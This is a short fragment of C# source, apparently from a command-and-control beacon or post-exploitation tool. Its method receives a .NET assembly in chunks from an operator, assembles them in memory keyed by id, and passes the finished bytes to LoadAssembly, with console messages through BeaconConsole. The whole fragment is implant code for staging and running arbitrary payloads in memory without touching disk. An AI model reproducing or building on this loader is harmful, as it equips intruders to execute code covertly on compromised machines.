| 37 | } |
| 38 | |
| 39 | public override void Go(byte[] chunk) { |
| 40 | |
| 41 | Unpack unpack = new Unpack("Zib", chunk); |
| 42 | |
| 43 | string assemblyName = (string)unpack.Values[0]; |
| 44 | int chunkSize = (int)unpack.Values[1]; |
| 45 | byte[] assemblyChunk = (byte[])unpack.Values[2]; |
| 46 | MemoryStream assemblyData; |
| 47 | |
| 48 | if (!activeAssemblyLoads.ContainsKey(assemblyName)) { |
| 49 | BeaconConsole.WriteLine($"[+] Setting up new loader with unique id {assemblyName}"); |
| 50 | assemblyData = new MemoryStream(); |
| 51 | activeAssemblyLoads[assemblyName] = assemblyData; |
| 52 | } else { |
| 53 | assemblyData = activeAssemblyLoads[assemblyName]; |
| 54 | } |
| 55 | |
| 56 | assemblyData.Write(assemblyChunk, 0, assemblyChunk.Length); |
| 57 | |
| 58 | if (assemblyChunk.Length < chunkSize) { |
| 59 | LoadAssembly(assemblyData.ToArray()); |
| 60 | activeAssemblyLoads.Remove(assemblyName); |
| 61 | } |
| 62 | } |
| 63 | } |
| 64 | } |